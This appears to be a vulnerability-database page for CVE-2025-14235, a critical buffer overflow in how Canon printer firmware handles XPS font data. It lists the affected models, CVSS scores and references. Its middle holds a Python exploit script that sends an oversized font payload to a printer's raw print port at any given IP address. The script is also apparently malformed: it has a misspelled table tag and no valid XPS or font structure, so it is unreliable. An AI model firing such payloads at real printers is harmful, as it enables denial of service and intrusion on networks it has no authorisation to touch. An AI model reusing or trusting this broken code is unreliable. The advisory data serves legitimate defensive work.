CVE-2025-14235

Description

Buffer overflow in XPS font fpgm data processing on Small Office Multifunction Printers and Laser Printers(*) which may allow an attacker on the network segment to trigger the affected product being unresponsive or to execute arbitrary code. *: Satera LBP670C Series/Satera MF750C Series firmware v06.02 and earlier sold in Japan.Color imageCLASS LBP630C/Color imageCLASS MF650C Series/imageCLASS LBP230 Series/imageCLASS X LBP1238 II/imageCLASS MF450 Series/imageCLASS X MF1238 II/imageCLASS X MF1643i II/imageCLASS X MF1643iF II firmware v06.02 and earlier sold in US.i-SENSYS LBP630C Series/i-SENSYS MF650C Series/i-SENSYS LBP230 Series/1238P II/1238Pr II/i-SENSYS MF450 Series/i-SENSYS MF550 Series/1238i II/1238iF II/imageRUNNER 1643i II/imageRUNNER 1643iF II firmware v06.02 and earlier sold in Europe.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:canon:mf656cdw_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:canon:mf656cdw:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:canon:mf653cdw_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:canon:mf653cdw:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:canon:mf652cw_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:canon:mf652cdw:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:canon:mf1238_ii_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:canon:mf1238_ii:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:canon:mf1643if_ii_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:canon:mf1643if_ii:-:*:*:*:*:*:*:* - NOT VULNERABLE

Satera LBP670C Series 固件 v06.02及更早版本

Satera MF750C Series 固件 v06.02及更早版本

Color imageCLASS LBP630C 固件 v06.02及更早版本

Color imageCLASS MF650C Series 固件 v06.02及更早版本

imageCLASS LBP230 Series 固件 v06.02及更早版本

imageCLASS X LBP1238 II 固件 v06.02及更早版本

imageCLASS MF450 Series 固件 v06.02及更早版本

imageCLASS X MF1238 II 固件 v06.02及更早版本

imageCLASS X MF1643i II 固件 v06.02及更早版本

imageCLASS X MF1643iF II 固件 v06.02及更早版本

i-SENSYS LBP630C Series 固件 v06.02及更早版本

i-SENSYS MF650C Series 固件 v06.02及更早版本

i-SENSYS LBP230 Series 固件 v06.02及更早版本

i-SENSYS MF450 Series 固件 v06.02及更早版本

i-SENSYS MF550 Series 固件 v06.02及更早版本

i-SENSYS 1238P II/1238Pr II 固件 v06.02及更早版本

i-SENSYS 1238i II/1238iF II 固件 v06.02及更早版本

imageRUNNER 1643i II 固件 v06.02及更早版本

imageRUNNER 1643iF II 固件 v06.02及更早版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# CVE-2025-14235 PoC - Canon Printer XPS Font Buffer Overflow
# This PoC demonstrates sending a malicious XPS document with oversized fpgm data

import socket
import struct
import sys

def create_malicious_xps():
    """Generate malicious XPS document with oversized fpgm font data"""
    # XPS document structure with embedded malicious font
    malicious_font_data = b'A' * 10000  # Oversized fpgm data to trigger overflow
    
    xps_header = b'PK\x03\x04'  # ZIP-based XPS format
    
    # Malicious fpgm table in TrueType font
    fpgm_table = struct.pack('>4s', b'fpkg')  # Table tag
    fpgm_table += struct.pack('>I', 0x00010000)  # Version
    fpgm_table += struct.pack('>I', len(malicious_font_data))  # Length
    fpgm_table += malicious_font_data
    
    return xps_header + fpgm_table

def send_exploit(target_ip, target_port=9100):
    """Send malicious XPS document to printer via raw print port"""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((target_ip, target_port))
        
        # Send crafted XPS document
        payload = create_malicious_xps()
        sock.send(payload)
        
        print(f"[*] Malicious XPS sent to {target_ip}:{target_port}")
        print(f"[*] Payload size: {len(payload)} bytes")
        print("[*] If vulnerable, the printer may hang or execute arbitrary code")
        
        sock.close()
        return True
    except Exception as e:
        print(f"[!] Error: {e}")
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 cve-2025-14235-poc.py <printer_ip>")
        sys.exit(1)
    
    target = sys.argv[1]
    send_exploit(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14235
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14235
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14235/
[4] VulDB https://vuldb.com/cve/CVE-2025-14235
[5] https://canon.jp/support/support-info/260115vulnerability-response
[6] https://psirt.canon/advisory-information/cp2026-001/
[7] https://www.canon-europe.com/support/product-security/
[8] https://www.usa.canon.com/support/canon-product-advisories/Service-Notice-Regarding-Remediation-Measure-Against-Potential-Buffer-Overflow-Vulnerability-in-Laser-Printers-and-Small-Office-Multifunctional-Printers

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-14235", "sourceIdentifier": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "published": "2026-01-16T00:16:27.933", "lastModified": "2026-01-26T15:11:00.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer overflow in XPS font fpgm data processing on Small Office Multifunction Printers and Laser Printers(*) which may allow an attacker on the network segment to trigger the affected product being unresponsive or to execute arbitrary code. *: Satera LBP670C Series/Satera MF750C Series firmware v06.02 and earlier sold in Japan.Color imageCLASS LBP630C/Color imageCLASS MF650C Series/imageCLASS LBP230 Series/imageCLASS X LBP1238 II/imageCLASS MF450 Series/imageCLASS X MF1238 II/imageCLASS X MF1643i II/imageCLASS X MF1643iF II firmware v06.02 and earlier sold in US.i-SENSYS LBP630C Series/i-SENSYS MF650C Series/i-SENSYS LBP230 Series/1238P II/1238Pr II/i-SENSYS MF450 Series/i-SENSYS MF550 Series/1238i II/1238iF II/imageRUNNER 1643i II/imageRUNNER 1643iF II firmware v06.02 and earlier sold in Europe."}, {"lang": "es", "value": "Desbordamiento de búfer en el procesamiento de datos fpgm de fuente XPS en impresoras multifunción para pequeñas oficinas e impresoras láser(*), lo que puede permitir a un atacante en el segmento de red desencadenar que el producto afectado deje de responder o ejecutar código arbitrario. *: firmware v06.02 y anteriores de las series Satera LBP670C/Satera MF750C vendidos en Japón. firmware v06.02 y anteriores de las series Color imageCLASS LBP630C/Color imageCLASS MF650C/imageCLASS LBP230/imageCLASS X LBP1238 II/imageCLASS MF450/imageCLASS X MF1238 II/imageCLASS X MF1643i II/imageCLASS X MF1643iF II vendidos en EE. UU. firmware v06.02 y anteriores de las series i-SENSYS LBP630C/i-SENSYS MF650C/i-SENSYS LBP230/1238P II/1238Pr II/i-SENSYS MF450/i-SENSYS MF550/1238i II/1238iF II/imageRUNNER 1643i II/imageRUNNER 1643iF II vendidos en Europa."}], "metrics": {"cvssMetricV40": [{"source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "f98c90f0-e9bd-4fa7-911b-51993f3571fd", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:canon:mf656cdw_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "06.02", "matchCriteriaId": "A2070566-9E21-464F-A85E-B4677CAEB4C8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:canon:mf656cdw:-:*:*:*:*:*:*:*", "matchCriteriaId": "C4A3D591-82ED-42C4-B724-EDFA5E196066"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:canon:mf653cdw_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "06.02", "matchCriteriaId": "8DC4A58D-AAD1-458B-A298-E9DDA48B8509"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:canon

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